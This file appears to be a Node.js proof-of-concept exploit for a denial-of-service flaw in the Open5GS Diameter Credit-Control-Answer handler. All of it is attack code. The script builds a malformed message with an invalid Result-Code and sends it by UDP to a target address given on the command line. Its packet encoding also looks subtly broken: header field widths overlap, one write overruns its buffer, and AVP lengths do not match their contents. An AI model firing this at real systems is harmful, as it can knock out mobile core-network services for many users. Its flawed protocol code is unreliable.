// CVE-2026-4240 PoC - Open5GS CCA Handler DoS
// This PoC demonstrates sending a malicious CCA message to trigger the vulnerability
const dgram = require('dgram');
const crypto = require('crypto');
// Diameter message header structure
function buildDiameterHeader(version, length, flags, commandCode, applicationId) {
const header = Buffer.alloc(20);
header.writeUInt8(version, 0);
header.writeUInt32BE(length, 1);
header.writeUInt8(flags, 5);
header.writeUInt24BE(commandCode, 6);
header.writeUInt32BE(applicationId, 9);
header.writeUInt32BE(0x01000000, 13); // Hop-by-Hop Identifier
header.writeUInt32BE(0x01000000, 17); // End-to-End Identifier
return header;
}
// Build malicious CCA message with malformed AVPs
function buildMalformedCCA() {
const avps = [];
// Result-Code AVP with invalid value
const resultCodeAVP = Buffer.alloc(16);
resultCodeAVP.writeUInt32BE(264, 0); // AVP Code
resultCodeAVP.writeUInt32BE(0x40000000, 4); // Flags (mandatory)
resultCodeAVP.writeUInt32BE(8, 8); // Length
resultCodeAVP.writeUInt32BE(0xFFFFFFFF, 12); // Invalid Result-Code
avps.push(resultCodeAVP);
// Session-Id AVP
const sessionId = '"' + crypto.randomBytes(16).toString('hex') + '"';
const sessionIdAVP = Buffer.alloc(12 + sessionId.length);
sessionIdAVP.writeUInt32BE(263, 0);
sessionIdAVP.writeUInt32BE(0x40000000, 4);
sessionIdAVP.writeUInt32BE(8 + sessionId.length, 8);
sessionIdAVP.write(sessionId, 12);
avps.push(sessionIdAVP);
const payload = Buffer.concat(avps);
const header = buildDiameterHeader(1, 20 + payload.length, 0x02, 272, 4); // CCA command
return Buffer.concat([header, payload]);
}
// Send malicious CCA to target
function exploit(targetIP, targetPort) {
const socket = dgram.createSocket('udp4');
const maliciousCCA = buildMalformedCCA();
socket.send(maliciousCCA, 0, maliciousCCA.length, targetPort, targetIP, (err) => {
if (err) {
console.error('Send error:', err);
} else {
console.log('Malicious CCA packet sent to', targetIP + ':' + targetPort);
console.log('Packet length:', maliciousCCA.length, 'bytes');
}
socket.close();
});
}
// Usage
// node cve-2026-4240-poc.js <target_ip> <port>
const targetIP = process.argv[2] || '127.0.0.1';
const targetPort = parseInt(process.argv[3]) || 3868;
exploit(targetIP, targetPort);
console.log('CVE-2026-4240 PoC execution started...');